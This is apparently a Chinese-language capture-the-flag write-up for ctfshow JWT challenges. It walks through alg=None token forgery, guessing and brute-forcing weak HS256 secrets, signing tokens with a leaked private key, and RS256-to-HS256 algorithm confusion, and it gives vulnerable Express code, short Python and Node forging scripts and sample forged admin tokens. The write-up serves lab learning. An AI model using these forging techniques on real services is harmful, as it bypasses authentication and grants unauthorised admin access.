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ctfshow-jwt

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基本原理

jwt一共有三部分

  • header
  • payload
  • signature 
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header
{
  'typ': 'JWT',
  'alg': 'HS256'  // 加密算法
}

payload
{
  "sub": "1234567890",
  "name": "John Doe"
}

signature
由前面两部分base64加密后用.连接并进行header中声明的方式去加密

jwt就是上面三个通过.进行连接
jwt解密网站
https://jwt.io/

web345

通过base64解码得到的cookie
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NzAxODc4NTEsImV4cCI6MTY3MDE5NTA1MSwibmJmIjoxNjcwMTg3ODUxLCJzdWIiOiJ1c2VyIiwianRpIjoiOTVhZDIwMzA1NTY2NmE2ZDBhZjBiY2M2NDc5OTMwYmIifV0
得到
{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1670187851,"exp":1670195051,"nbf":1670187851,"sub":"user","jti":"95ad203055666a6d0af0bcc6479930bb"}]
将user改成admin以后在进行加密
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0AW3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NzAxODc4NTEsImV4cCI6MTY3MDE5NTA1MSwibmJmIjoxNjcwMTg3ODUxLCJzdWIiOiJhZG1pbiIsImp0aSI6Ijk1YWQyMDMwNTU2NjZhNmQwYWYwYmNjNjQ3OTkzMGJiIn1d
并用此cookie去访问/admin，就行了

web346

通过 https://jwt.io/ 进行解密
修改为admin后，猜测密钥是123456，并重新加密

web347

与web346相同，密钥也相同

web348

通过脚本爆破
https://github.com/brendan-rius/c-jwt-cracker

we349

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/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

由get的路由，可以知道通过private.key对jwt进行加密
我们访问/private.key，拿到私钥
通过python进行加密

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# pip install pyjwt
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
# eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.NoE2xAUmDyHc0rhNtNtUn8URhEZeFGy9M0hd7hBEfRD3jpGqetn0nj2Tm9mob9LWyl2BazTLm_1Ez1vn0A6ZxgcpF73B6_rE4zrDvyu3b6eH3FtwmKd9I6N0KzkO1IpTggRVy6l4RoQCoG4JJ6X9YVJgOWtm0vgWzcjjXejlEsM

web250

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var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');
/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//routes/public.key');  // get public key
	jwt.verify(auth, cert,function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin'+err);
	  }
	});
});

这里只能获取到public.key，这时候可以更改RS256为HS256，在后端进行校验的时候就会使用HS256进行验证，且我们知道密钥为public.key
利用nodejs进行加密，保证版本相同

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const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

参考链接